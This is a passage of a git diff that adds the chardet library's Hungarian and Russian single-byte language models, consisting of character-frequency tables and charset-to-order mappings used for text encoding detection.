13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 30: { # 'í' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 25: { # 'ó' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 24: { # 'ö' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 31: { # 'ú' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 3, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 29: { # 'ü' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 42: { # 'ő' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 56: { # 'ű' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 72, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 161, # '€' + 129: 162, # None + 130: 163, # '‚' + 131: 164, # None + 132: 165, # '„' + 133: 166, # '…' + 134: 167, # '†' + 135: 168, # '‡' + 136: 169, # None + 137: 170, # '‰' + 138: 171, # 'Š' + 139: 172, # '‹' + 140: 173, # 'Ś' + 141: 174, # 'Ť' + 142: 175, # 'Ž' + 143: 176, # 'Ź' + 144: 177, # None + 145: 178, # '‘' + 146: 179, # '’' + 147: 180, # '“' + 148: 78, # '”' + 149: 181, # '•' + 150: 69, # '–' + 151: 182, # '—' + 152: 183, # None + 153: 184, # '™' + 154: 185, # 'š' + 155: 186, # '›' + 156: 187, # 'ś' + 157: 188, # 'ť' + 158: 189, # 'ž' + 159: 190, # 'ź' + 160: 191, # '\xa0' + 161: 192, # 'ˇ' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ą' + 166: 197, # '¦' + 167: 76, # '§' + 168: 198, # '¨' + 169: 199, # '©' + 170: 200, # 'Ş' + 171: 201, # '«' + 172: 202, # '¬' + 173: 203, # '\xad' + 174: 204, # '®' + 175: 205, # 'Ż' + 176: 81, # '°' + 177: 206, # '±' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'µ' + 182: 211, # '¶' + 183: 212, # '·' + 184: 213, # '¸' + 185: 214, # 'ą' + 186: 215, # 'ş' + 187: 216, # '»' + 188: 217, # 'Ľ' + 189: 218, # '˝' + 190: 219, # 'ľ' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 83, # 'Â' + 195: 222, # 'Ă' + 196: 80, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 70, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 84, # 'ŕ' + 225: 14, # 'á' + 226: 75, # 'â' + 227: 242, # 'ă' + 228: 71, # 'ä' + 229: 82, # 'ĺ' + 230: 243, # 'ć' + 231: 73, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 85, # 'ę' + 235: 79, # 'ë' + 236: 86, # 'ě' + 237: 30, # 'í' + 238: 77, # 'î' + 239: 87, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 74, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' +} + +WINDOWS_1250_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1250', + language='Hungarian', + char_to_order_map=WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') + +ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 71, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 159, # '\x80' + 129: 160, # '\x81' + 130: 161, # '\x82' + 131: 162, # '\x83' + 132: 163, # '\x84' + 133: 164, # '\x85' + 134: 165, # '\x86' + 135: 166, # '\x87' + 136: 167, # '\x88' + 137: 168, # '\x89' + 138: 169, # '\x8a' + 139: 170, # '\x8b' + 140: 171, # '\x8c' + 141: 172, # '\x8d' + 142: 173, # '\x8e' + 143: 174, # '\x8f' + 144: 175, # '\x90' + 145: 176, # '\x91' + 146: 177, # '\x92' + 147: 178, # '\x93' + 148: 179, # '\x94' + 149: 180, # '\x95' + 150: 181, # '\x96' + 151: 182, # '\x97' + 152: 183, # '\x98' + 153: 184, # '\x99' + 154: 185, # '\x9a' + 155: 186, # '\x9b' + 156: 187, # '\x9c' + 157: 188, # '\x9d' + 158: 189, # '\x9e' + 159: 190, # '\x9f' + 160: 191, # '\xa0' + 161: 192, # 'Ą' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ľ' + 166: 197, # 'Ś' + 167: 75, # '§' + 168: 198, # '¨' + 169: 199, # 'Š' + 170: 200, # 'Ş' + 171: 201, # 'Ť' + 172: 202, # 'Ź' + 173: 203, # '\xad' + 174: 204, # 'Ž' + 175: 205, # 'Ż' + 176: 79, # '°' + 177: 206, # 'ą' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'ľ' + 182: 211, # 'ś' + 183: 212, # 'ˇ' + 184: 213, # '¸' + 185: 214, # 'š' + 186: 215, # 'ş' + 187: 216, # 'ť' + 188: 217, # 'ź' + 189: 218, # '˝' + 190: 219, # 'ž' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 81, # 'Â' + 195: 222, # 'Ă' + 196: 78, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 69, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 82, # 'ŕ' + 225: 14, # 'á' + 226: 74, # 'â' + 227: 242, # 'ă' + 228: 70, # 'ä' + 229: 80, # 'ĺ' + 230: 243, # 'ć' + 231: 72, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 83, # 'ę' + 235: 77, # 'ë' + 236: 84, # 'ě' + 237: 30, # 'í' + 238: 76, # 'î' + 239: 85, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 73, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' +} + +ISO_8859_2_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-2', + language='Hungarian', + char_to_order_map=ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') + diff --git a/src/thirdparty/chardet/langrussianmodel.py b/src/thirdparty/chardet/langrussianmodel.py new file mode 100644 index 0000000000..222b19bce3 --- /dev/null +++ b/src/thirdparty/chardet/langrussianmodel.py @@ -0,0 +1,5718 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +RUSSIAN_LANG_MODEL = { + 37: { # 'А' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 44: { # 'Б' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 33: { # 'В' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 